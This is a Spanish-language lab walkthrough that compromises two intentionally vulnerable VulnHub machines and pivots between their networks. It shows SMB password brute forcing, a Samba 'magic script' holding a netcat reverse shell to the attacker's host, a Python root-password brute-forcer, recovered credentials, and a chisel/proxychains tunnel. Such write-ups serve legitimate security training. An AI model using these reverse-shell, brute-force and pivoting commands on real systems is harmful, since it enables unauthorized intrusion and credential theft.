Pivoting - Primer Lab

Explicacion del Laboratorio
Este laboratorio está diseñado para practicar pivoting; vamos a estar vulnerando 2 máquinas de VulnHub.
Crossroad
SecureCode
Donde existen 2 redes, la máquina Crossroad 1 simulará la primera red. Esta tiene una segunda red donde tiene conexión con la máquina SecureCode 2, simulando la segunda red.
Observaciones
En este caso no estaré utilizando la herramienta de ligolo-ng; para el siguiente laboratorio utilizaremos esta herramienta, para que vean cómo facilita el trabajo de conexiones.
En caso de querer preparar/montar estos tipos de laboratorios de forma local para practicar, subiré la forma de cómo preparar estos tipos de laboratorios en un futuro.
También para futuros laboratorios, vamos a introducir máquinas Windows y Linux mezcladas en un mismo laboratorio.
Skills
### Crossroads
- Magic script - Samba -> RCE
- Stenography Analysis / Stegoveritas tool
- rpcclient SAMBA enum
- SAMBA password brute force
- Brute Force Password root / Custom Binary
### Securecode
- Chisel / Socat pivoting Tools
- Fuzing obtain backup
- SQLI Blind Web Code Response Based
- Bypass file upload -> RCE.
Reconocimiento - Crossroad
Para empezar como siempre nos creamos nuestros directorios de trabajo
mkdir -p Crossroad/nmap
cd Crossroad
mkdir content exploit
cd nmap
Luego vamos a proseguir con el escaneo de puertos, para ver qué servicios están expuestos en la máquina Crossroad.
Voy a usar un script automático que creé hace poco para la enumeración.
./autoscan.sh -i 192.168.0.26 -n
[+] Realizando escaneo con nmap, IP: 192.168.0.26
[+]Escaneo de nmap sobre la ip: 192.168.0.26 - Puertos: 80,139,445
Como se puede apreciar, vemos los puertos 80, 139 y 445.
# Nmap 7.93 scan initiated Fri Jul 25 19:54:39 2025 as: nmap -p80,139,445 -sCV -oN targeted 192.168.0.26
Nmap scan report for 192.168.0.26
Host is up (0.016s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/crossroads.png
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 12 Step Treatment Center | Crossroads Centre Antigua
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
MAC Address: D8:F3:BC:4D:AC:A3 (Liteon Technology)
Service Info: Host: CROSSROADS
Host script results:
|_clock-skew: mean: 1h39m59s, deviation: 2h53m12s, median: 0s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: crossroads
| NetBIOS computer name: CROSSROADS\x00
| Domain name: \x00
| FQDN: crossroads
|_ System time: 2025-07-25T17:55:04-05:00
| smb2-time:
| date: 2025-07-25T22:55:04
|_ start_date: N/A
|_nbstat: NetBIOS name: CROSSROADS, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 25 19:55:04 2025 -- 1 IP address (1 host up) scanned in 25.25 seconds
Vemos una página web 80 y un servicio de Samba en el puerto 445.
Vamos a revisar cómo se ve la web.
Parece ser una agencia que se encarga de ayudar a las personas con diversas adicciones.
Vamos a realizar un WhatWeb para ver las tecnologías que utiliza.
whatweb http://192.168.0.26
http://192.168.0.26 [200 OK] AddThis, Apache[2.4.38], Bootstrap, Country[RESERVED][ZZ], Frame, Google-Analytics[Universal][UA-15284593-1], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.0.26], JQuery[3.3.1], Open-Graph-Protocol[website], Script[application/ld+json,text/javascript], Title[12 Step Treatment Center | Crossroads Centre Antigua], WordPress, YouTube
Vemos bastante información, vemos WordPress, jQuery, etc.
Vamos a realizar fuzzing para ver qué directorios nos encontramos.
ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.0.26/FUZZ"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.0.26/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 19ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 22ms]
# [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 16ms]
# [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 12ms]
# directory-list-2.3-medium.txt [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 13ms]
# [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 20ms]
# Copyright 2007 James Fisher [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 25ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 18ms]
# on at least 2 different hosts [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 683ms]
[Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 689ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 917ms]
# Priority ordered case-sensitive list, where entries were found [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 1243ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 1298ms]
# [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 1305ms]
[Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 50ms]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 11ms]
Vemos un server-status
; vamos a ver si existe contenido compartido por Samba en el puerto 445.
smbclient --no-pass --user '' --list 192.168.0.26
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
smbshare Disk
IPC$ IPC IPC Service (Samba 4.9.5-Debian)
Vemos algunos recursos, pero no tienen nada interesante; nos podemos conectar con rpcclient y vemos un usuario.
rpcclient -U '' -N "192.168.0.26"
rpcclient $> enumdomusers
user:[albert] rid:[0x3e9]
rpcclient $> queryuser 0x3e9
User Name : albert
Full Name :
Home Drive : \\crossroads\albert
Dir Drive :
Profile Path: \\crossroads\albert\profile
Logon Script:
Description :
Workstations:
Comment :
Remote Dial :
Logon Time : Wed, 31 Dec 1969 20:00:00 -04
Logoff Time : Wed, 06 Feb 2036 12:06:39 -03
Kickoff Time : Wed, 06 Feb 2036 12:06:39 -03
Password last set Time : Tue, 02 Mar 2021 20:13:00 -03
Password can change Time : Tue, 02 Mar 2021 20:13:00 -03
Password must change Time: Wed, 13 Sep 30828 23:48:05 -03
unknown_2[0..31]...
user_rid : 0x3e9
group_rid: 0x201
acb_info : 0x00000010
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000000
padding1[0..7]...
logon_hrs[0..21]...
rpcclient $> netshareenumall
netname: print$
remark: Printer Drivers
path: C:\var\lib\samba\printers
password:
netname: smbshare
remark:
path: C:\home\albert\smbshare
password:
netname: IPC$
remark: IPC Service (Samba 4.9.5-Debian)
path: C:\tmp
password:
Vemos la estructura de las carpetas compartidas y vemos el usuario albert.
Luego de intentar varias cosas, reviso el crossroads.png que nos detectó el nmap por medio del robots.txt.
En los ctfs, suele llamar la atención tener una imagen en la raíz de la web; seguramente tenga información oculta.
Luego de probar varias herramientas para detectar información en una imagen, me encuentro con la siguiente → Stegovita.
El cual dejó correr por un rato y parece encontrar un archivo zip.
stegoveritas crossroads.png
Running Module: SVImage
+---------------------------+------+
| Image Format | Mode |
+---------------------------+------+
| Portable network graphics | RGB |
+---------------------------+------+
Found something worth keeping!
MPEG ADTS, layer III, v1, 80 kbps, Monaural
Running Module: MultiHandler
Found something worth keeping!
PNG image data, 1106 x 876, 8-bit/color RGB, non-interlaced
+--------+------------------+-------------------------------------------+-----------+
| Offset | Carved/Extracted | Description | File Name |
+--------+------------------+-------------------------------------------+-----------+
| 0x69f | Carved | Zlib compressed data, default compression | 69F.zlib |
| 0x69f | Extracted | Zlib compressed data, default compression | 69F |
+--------+------------------+-------------------------------------------+-----------+
Exif
====
+----------------------+--------------------------------------------------------------------------------------------------+
| key | value |
+----------------------+--------------------------------------------------------------------------------------------------+
| SourceFile | /workspace/Pivoting/Crossroad/content/crossroads.png |
| ExifToolVersion | 12.57 |
| FileName | crossroads.png |
| Directory | /workspace/Pivoting/Crossroad/content |
| FileSize | 1100 kB |
| FileModifyDate | 2021:03:02 19:05:35-03:00 |
| FileAccessDate | 2025:08:06 07:27:34-03:00 |
| FileInodeChangeDate | 2025:07:26 20:23:11-03:00 |
| FilePermissions | -rw-rw---- |
| FileType | PNG |
| FileTypeExtension | png |
| MIMEType | image/png |
| ImageWidth | 1106 |
| ImageHeight | 876 |
| BitDepth | 8 |
| ColorType | RGB |
| Compression | Deflate/Inflate |
| Filter | Adaptive |
| Interlace | Noninterlaced |
| PixelsPerUnitX | 2835 |
| PixelsPerUnitY | 2835 |
| PixelUnits | meters |
| XMPToolkit | Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 |
| CreatorTool | Adobe Photoshop CC 2018 (Windows) |
| CreateDate | 2021:03:03 01:05:34+03:00 |
| MetadataDate | 2021:03:03 01:05:34+03:00 |
| ModifyDate | 2021:03:03 01:05:34+03:00 |
| InstanceID | xmp.iid:4204c92b-8096-1f44-95a6-bea1cf3b10b1 |
| DocumentID | adobe:docid:photoshop:332b0d56-e404-b344-995b-0552ba0e91fc |
| OriginalDocumentID | xmp.did:099252d2-406b-7a48-8f06-3b7f7410f183 |
| ColorMode | RGB |
| Format | image/png |
| HistoryAction | ['created', 'saved'] |
| HistoryInstanceID | ['xmp.iid:099252d2-406b-7a48-8f06-3b7f7410f183', 'xmp.iid:4204c92b-8096-1f44-95a6-bea1cf3b10b1'] |
| HistoryWhen | ['2021:03:03 01:05:34+03:00', '2021:03:03 01:05:34+03:00'] |
| HistorySoftwareAgent | ['Adobe Photoshop CC 2018 (Windows)', 'Adobe Photoshop CC 2018 (Windows)'] |
| HistoryChanged | / |
| DocumentAncestors | F35C96A263F2934D8C732E0185DBC23E |
| ImageSize | 1106x876 |
| Megapixels | 0.969 |
+----------------------+--------------------------------------------------------------------------------------------------+
XMPP
====
+----------------------------------------+--------------------------------------------------------------+
| key | value |
+----------------------------------------+--------------------------------------------------------------+
| 'xmp:CreatorTool' | 'Adobe Photoshop CC 2018 (Windows)' |
| 'xmp:CreateDate' | '2021-03-03T01:05:34+03:00' |
| 'xmp:MetadataDate' | '2021-03-03T01:05:34+03:00' |
| 'xmp:ModifyDate' | '2021-03-03T01:05:34+03:00' |
| 'xmpMM:InstanceID' | 'xmp.iid:4204c92b-8096-1f44-95a6-bea1cf3b10b1' |
| 'xmpMM:DocumentID' | 'adobe:docid:photoshop:332b0d56-e404-b344-995b-0552ba0e91fc' |
| 'xmpMM:OriginalDocumentID' | 'xmp.did:099252d2-406b-7a48-8f06-3b7f7410f183' |
| 'xmpMM:History' | '' |
| 'xmpMM:History[1]' | '' |
| 'xmpMM:History[1]/stEvt:action' | 'created' |
| 'xmpMM:History[1]/stEvt:instanceID' | 'xmp.iid:099252d2-406b-7a48-8f06-3b7f7410f183' |
| 'xmpMM:History[1]/stEvt:when' | '2021-03-03T01:05:34+03:00' |
| 'xmpMM:History[1]/stEvt:softwareAgent' | 'Adobe Photoshop CC 2018 (Windows)' |
| 'xmpMM:History[2]' | '' |
| 'xmpMM:History[2]/stEvt:action' | 'saved' |
| 'xmpMM:History[2]/stEvt:instanceID' | 'xmp.iid:4204c92b-8096-1f44-95a6-bea1cf3b10b1' |
| 'xmpMM:History[2]/stEvt:when' | '2021-03-03T01:05:34+03:00' |
| 'xmpMM:History[2]/stEvt:softwareAgent' | 'Adobe Photoshop CC 2018 (Windows)' |
| 'xmpMM:History[2]/stEvt:changed' | '/' |
| 'photoshop:ColorMode' | '3' |
| 'photoshop:DocumentAncestors' | '' |
| 'photoshop:DocumentAncestors[1]' | 'F35C96A263F2934D8C732E0185DBC23E' |
| 'dc:format' | 'image/png' |
+----------------------------------------+--------------------------------------------------------------+
ls
crossroads.png results stegoVeritas
cd results/keepers
ls
1754485771.5929751-79b4d1696d3daa931d994e6c8ff3bcbc 69F
1754485848.7338853-e141a773742528eeded2c24b53183913 69F.zlib
1854610042.114s957-3161a756330490eac297cc43f23494c7
Voy a descomprimirlo para ver qué contiene, el 69F.zlib.
zlib-flate -uncompress < 69F.zlib > decompressed
ls
1754485771.5929751-79b4d1696d3daa931d994e6c8ff3bcbc 69F decompressed
1754485848.7338853-e141a773742528eeded2c24b53183913 69F.zlib
1854610042.114s957-3161a756330490eac297cc43f23494c7
file decompressed
decompressed: data
Veo que el tipo es data, lo analizo con Ghidra, pero no encuentro nada interesante.
Hice enumeración con rpcclient mientras analizaba el binario; tenía el usuario albert, pero no la contraseña. Probé con varias formas de realizar fuerza bruta con netexec, hydra, medusa, etc.
Pero solo funcionó con un módulo auxiliar de Metasploit, por eso es importante probar el mismo ataque con varias herramientas distintas o con la misma varias veces.
msfconsole
Metasploit tip: Use the edit command to open the currently active module
in your editor
. .
.
dBBBBBBb dBBBP dBBBBBBP dBBBBBb . o
' dB' BBP
dB'dB'dB' dBBP dBP dBP BB
dB'dB'dB' dBP dBP dBP BB
dB'dB'dB' dBBBBP dBP dBBBBBBB
dBBBBBP dBBBBBb dBP dBBBBP dBP dBBBBBBP
. . dB' dBP dB'.BP
| dBP dBBBB' dBP dB'.BP dBP dBP
--o-- dBP dBP dBP dB'.BP dBP dBP
| dBBBBP dBP dBBBBP dBBBBP dBP dBP
.
.
o To boldly go where no
shell has gone before
=[ metasploit v6.4.33-dev-4422322 ]
+ -- --=[ 2459 exploits - 1266 auxiliary - 430 post ]
+ -- --=[ 1468 payloads - 49 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search smb_login
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/smb/smb_login . normal No SMB Login Check Scanner
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_login
msf6 > use 0
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf6 auxiliary(scanner/smb/smb_login) >options
Module options (auxiliary/scanner/smb/smb_login):
Name Current Setting Required Description
---- --------------- -------- -----------
ABORT_ON_LOCKOUT false yes Abort the run when an account lockout is detected
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
CreateSession false no Create a new session for every successful login
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted:
none, user, user&realm)
DETECT_ANY_AUTH false no Enable detection of systems accepting any authentication
DETECT_ANY_DOMAIN false no Detect if domain is required for the specified user
PASS_FILE no File containing passwords, one per line
PRESERVE_DOMAINS true no Respect a username that contains a domain name.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RECORD_GUEST false no Record guest-privileged random logins to the database
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-meta
sploit/basics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERPASS_FILE no File containing users and passwords separated by space, one pair pe
r line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.0.26
RHOSTS => 192.168.0.26
msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
PASS_FILE => /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/smb/smb_login) > set SMBUser albert
SMBUser => albert
msf6 auxiliary(scanner/smb/smb_login) > run
Luego de un rato veo lo siguiente:
[-] 192.168.0.26:445 - 192.168.0.26:445 - Failed: '.\albert:smile4me',
[-] 192.168.0.26:445 - 192.168.0.26:445 - Failed: '.\albert:sherman',
[-] 192.168.0.26:445 - 192.168.0.26:445 - Failed: '.\albert:glenn',
[-] 192.168.0.26:445 - 192.168.0.26:445 - Failed: '.\albert:gabby1',
[-] 192.168.0.26:445 - 192.168.0.26:445 - Failed: '.\albert:family5',
[-] 192.168.0.26:445 - 192.168.0.26:445 - Failed: '.\albert:eddie1',
[-] 192.168.0.26:445 - 192.168.0.26:445 - Failed: '.\albert:dodgers',
[-] 192.168.0.26:445 - 192.168.0.26:445 - Failed: '.\albert:cheska',
[+] 192.168.0.26:445 - 192.168.0.26:445 - Success: '.\albert:bradley1'
Por tanto, tenemos una contraseña; vamos a listar el contenido para ver si tenemos más permisos con smbmap.
smbmap -H 192.168.0.26 -u albert -p bradley1
[+] IP: 192.168.0.26:445 Name: crossroadsantigua.org Status: Authenticated
Disk Permissions Comment
---- ----------- -------
print$ READ ONLY Printer Drivers
smbshare READ, WRITE
IPC$ NO ACCESS IPC Service (Samba 4.9.5-Debian)
albert READ ONLY Home Directories
Veo que tengo acceso ahora a smbshare; vamos a echarle un vistazo.
smbclient --password=bradley1 -U "albert" \\\\192.168.0.26\\smbshare
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Aug 7 18:49:15 2025
.. D 0 Sat Mar 6 09:45:15 2021
smb.conf N 8779 Tue Mar 2 19:14:54 2021
Veo un smb.conf, vamos a ver qué es.
Veo ciertas configuraciones, pero me llama la atención lo siguiente:
[smbshare]
path = /home/albert/smbshare
valid users = albert
browsable = yes
writable = yes
read only = no
@ = smbscript.sh
guest ok = no
Hay un “magic script“, smbscript.sh.
Vamos a revisar la otra carpeta compartida de nombre Albert.
smbclient --password=bradley1 -U "albert" \\\\192.168.0.26\\albert
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Mar 6 09:45:15 2021
.. D 0 Tue Mar 2 19:00:47 2021
smbshare D 0 Thu Aug 7 19:05:08 2025
crossroads.png N 1583196 Tue Mar 2 19:34:03 2021
beroot N 16664 Tue Mar 2 20:02:41 2021
user.txt N 1805 Sun Jan 3 14:56:19 2021
4000320 blocks of size 1024. 3759668 blocks available
Vemos un user.txt, que es la primera flag. Luego vemos la otra carpeta smbshare y la imagen crossroads.png.
Hay otro archivo beroot. Vamos a analizarlo para ver qué es.
smb: \> get beroot
getting file \beroot of size 16664 as beroot (428.2 KiloBytes/sec) (average 428.2 KiloBytes/sec)
file beroot
beroot: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c1da1f0fded1889d32e27b99a2a4bd170c30349b, for GNU/Linux 3.2.0, not stripped
Parece ser un binario para Linux; voy a darle permisos de ejecución y analizarlo para ver qué hace.
Intento analizarlo con ltrace o strace, pero necesita librerías y el programa no se ejecuta.
Así que vamos a realizar un análisis con Ghidra.
Pero no encuentro mucho, parece que ejecuta un binario en el escritorio de root, por tanto, mucho no se puede analizar.
Vamos a acceder nuevamente a la carpeta de smbshare.
smbclient --password=bradley1 -U "albert" \\\\192.168.0.26\\smbshare
smb: \>
Si investigamos sobre los “magic scripts“, vemos que, si los ponemos en la carpeta compartida que corresponde con el nombre, se ejecutan.
Por tanto, voy a crear el archivo smbscript.sh con el contenido de una reverse shell y subirlo a la máquina.
nc 192.168.0.9 4444 -e /bin/bash
nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.0.26.
Ncat: Connection from 192.168.0.26:45790.
whoami
albert
Tenemos acceso como albert; ahora toca escalar privilegios.
Escalada de Privilegios - Crossroads
python -c 'import pty;pty.spawn("/bin/bash")'
albert@crossroads:/home/albert/smbshare$
albert@crossroads:/home/albert$ ./beroot
enter password for root
-----------------------
password:
Veo que nos pide una contraseña; este es el script que se está ejecutando en /root.
Como no tengo acceso al directorio /root, no puedo descargar el binario para analizarlo.
Luego de revisar nuevamente lo que la herramienta StegoVeritas pudo obtener de la imagen.
Veo que hay un archivo que es un diccionario.
file ./*
./1754610042.1145957-3161a755130490eac2f7cc43f23494c7: MPEG ADTS, layer III, v1, 80 kbps, Monaural
./1754610110.05314-6f3ed02dad7e2f978584cfdf66dbbf51: PNG image data, 1106 x 876, 8-bit/color RGB, non-interlaced
./1854610042.114s957-3161a756330490eac297cc43f23494c7: Unicode text, UTF-8 text
./69F: empty
./69F.zlib: zlib compressed data
En este caso, el 1854610042.114s957-3161a756330490eac297cc43f23494c7.
Por tanto, quizás esté ahí la contraseña; para no probar uno a uno, podríamos automatizar el proceso.
import subprocess
import sys
with open("dic.txt","r",encoding='ISO.8859.1') as fs:
var= fs.read().splitlines()
for li in var:
var1= li
result= subprocess.getoutput("echo %s | ./beroot"%var1)
print("testing password "+ var1)
if "wrong password!!!" not in str(result):
print(result)
print("the password is: "+ var1)
sys.exit(0)
Con esto debemos renombrar el diccionario a “dic.txt“ y luego subirlo a la máquina junto con el exploit.py.
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
albert@crossroads:/home/albert$ wget http://192.168.0.9/dic.txt
albert@crossroads:/home/albert$ wget http://192.168.0.9/exploit.py
Luego de tener los dos archivos, ejecutamos el exploit.py.
albert@crossroads:/home/albert$p python3 exploit.py
testing password twenty
testing password tommie
testing password sandman
testing password panchito
testing password nicole3
testing password munchie
testing password marcella
testing password lemuel
TERM environment variable not set.
enter password for root
-----------------------
do ls and find root creds
the password is: lemuel
Parece ser que la contraseña es lemuel, nos dice que hagamos un ls.
ls
beroot crossroads.png dic.txt exploit.py rootcreds smbshare user.txt
Vemos un nuevo archivo llamado rootcreds.
albert@crossroads:/home/albert$ cat rootcreds
root
___drifting___
Parece que la contraseña de root es ___drifting___. Vamos a comprobarlo.
su root
Password: ___drifting___
root@crossroads:/home/albert# whoami
root
Y terminamos la primera máquina.
Comentarios - Crossroads.
La máquina no estuvo mal; practiqué temas de esteganografía y cómo obtener info en lugares ocultos.
Después, muy curioso el tema de “magic script” y el resto ya fue fuerza bruta.
Continuamos - SecureCode
Debido a que tenemos una forma sencilla de ganar acceso (al tener la contraseña de root).
Simplemente voy a enviarme una consola y recibirla con pwncat, para trabajar más cómodamente.
pwncat-cs :4446
albert@crossroads:/home/albert$ nc 192.168.0.9 4445 -e /bin/bash
(remote) root@crossroads:/root# ls
beroot.sh creds passwd root.txt
Luego de vulnerar la máquina Crossroads, vamos a revisar sus interfaces de red.
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:3d:a1:bc brd ff:ff:ff:ff:ff:ff
inet 192.168.0.26/24 brd 192.168.0.255 scope global dynamic enp0s3
valid_lft 3553sec preferred_lft 3553sec
inet6 ::a00:27ff:fe3d:a1bc/64 scope global dynamic mngtmpaddr
valid_lft 3598sec preferred_lft 3598sec
inet6 fe80::a00:27ff:fe3d:a1bc/64 scope link
valid_lft forever preferred_lft forever
3: enp0s8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:af:1f:d2 brd ff:ff:ff:ff:ff:ff
inet 192.168.100.10/24 brd 192.168.100.255 scope global enp0s8
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:feaf:1fd2/64 scope link
valid_lft forever preferred_lft forever
Vemos que existe otra interfaz de red, la enp0s8.
Aquí es donde empieza la segunda parte del laboratorio y toca vulnerar la segunda máquina.
Creando Puente Crossroads - Securecode
Como directamente no podemos acceder a la segunda máquina del laboratorio (Securecode).
Vamos a utilizar como intermediario a Crossroads, que sí tiene conexión con la máquina Securecode.
Primero vamos a realizar un escaneo de la red con ping. Con un script básico en bash.
Podemos pasar también un compilado de Nmap, entre otras formas, para descubrir más hosts en la red 192.168.100.0.
#!/bin/bash
trap ctrl_c INT
function ctrl_c(){
echo -e "\n\n[!] Saliendo...\n"
exit 0
}
for i in $(seq 1 254); do
(timeout 1 ping -c 1 192.168.100.$i) &>/dev/null && echo "[+] Active: 192.168.100.$i "
done
Luego le damos permisos de ejecución y lo ejecutamos (luego de pasar el archivo a la máquina).
./scan.sh
[+] Active: 192.168.100.10
[+] Active: 192.168.100.20
^C
[!] Saliendo...
Como vemos, hay otra máquina en la 192.168.100.20, a la cual no tenemos acceso directamente.
Para crear el túnel, vamos a usar → chisel. Una herramienta diseñada para crear túneles UDP/TCP.
Primero nos descargamos el repositorio para luego compilarlo y, luego, lo subimos a la máquina.
git clone https://github.com/jpillora/chisel.git
cd chisel
go build .
ls
chisel client example go.mod go.sum LICENSE main.go Makefile README.md server share test
Ahí tenemos el chisel; yo, como estoy usando pwncat, simplemente tengo que usar upload y el nombre del archivo, pero hay muchas formas de transferir archivos de una máquina a la otra.
En el caso de que el binario sea muy pesado, pueden usar UPX para reducir su peso.
/root# ls
beroot.sh chisel creds passwd root.txt scan.sh
Una vez que tenemos el chisel en la máquina víctima, necesitamos ejecutar el binario como servidor en la máquina víctima (Crossroads) y como cliente en nuestra máquina de atacante.
./chisel server -v -p 1234 --socks5
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./chisel)
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./chisel
Vemos un error de GLIBC_2.32; en caso de que le suceda lo mismo, pueden descargarse un release del binario ya compilado de GitHub más antiguo y debería funcionar.
./chisel server -v -p 1234 --socks5
2025/08/09 09:12:20 server: Fingerprint IN40VRFPzeDz/mMmFU6rt7CKMN6Nu5/5Bao4YX0UKvE=
2025/08/09 09:12:20 server: Listening on http://0.0.0.0:1234
En este caso, yo voy a jugar con SOCKS5 para luego, con proxychains, acceder a la otra máquina, a la que en primera instancia no tengo acceso.
./chisel64 client -v 192.168.0.26:1234 socks
2025/08/09 07:18:32 client: Connecting to ws://192.168.0.9:1234
2025/08/09 07:18:32 client: tun: proxy#127.0.0.1:1080=>socks: Listening
2025/08/09 07:18:32 client: tun: Bound proxies
2025/08/09 07:18:32 client: Handshaking...
2025/08/09 07:18:32 client: Sending config
2025/08/09 07:18:32 client: Connected (Latency 4.188901ms)
2025/08/09 07:18:32 client: tun: SSH connected
Y ahí ya funciona, con el binario antiguo.
./chisel server -v -p 1234 --socks5
2025/08/09 09:12:20 server: Fingerprint IN40VRFPzeDz/mMmFU6rt7CKMN6Nu5/5Bao4YX0UKvE=
2025/08/09 09:12:20 server: Listening on http://0.0.0.0:1234
2025/08/09 09:18:32 server: session#1: Handshaking with 192.168.0.26:45436...
2025/08/09 09:18:32 server: session#1: Verifying configuration
2025/08/09 09:18:32 server: session#1: Client version (1.10.1) differs from server version (0.0.0-src)
2025/08/09 09:18:32 server: session#1: tun: Created (SOCKS enabled)
2025/08/09 09:18:32 server: session#1: tun: SSH connected
Como vemos, se crea un túnel en nuestra máquina por el puerto 1080.
lsof -i:1080
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
chisel 13150 root 3u IPv4 36500 0t0 TCP localhost:socks (LISTEN)
Por tanto, con proxychains vamos a redirigir todo el tráfico por ese puerto y con eso tendríamos acceso a la otra máquina.
tail -f /etc/proxychains.conf
# http 192.168.39.93 8080
#
#
# proxy types: http, socks4, socks5, raw
# * raw: The traffic is simply forwarded to the proxy without modification.
# ( auth types supported: "basic"-http "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
socks4 127.0.0.1 1080
Como ven, yo tengo configurado SOCKS4; eso hay que cambiarlo a SOCKS5.
tail -f /etc/proxychains.conf
#
#
# proxy types: http, socks4, socks5, raw
# * raw: The traffic is simply forwarded to the proxy without modification.
# ( auth types supported: "basic"-http "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
#socks4 127.0.0.1 1080
socks5 127.0.0.1 1080
Ahora podemos comprobar si tenemos acceso a la máquina 192.168.100.20 (Securcode 2).
proxychains curl -I 192.168.100.20
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.20:80 ... OK
HTTP/1.1 200 OK
Date: Sat, 09 Aug 2025 09:35:40 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Type: text/html; charset=UTF-8
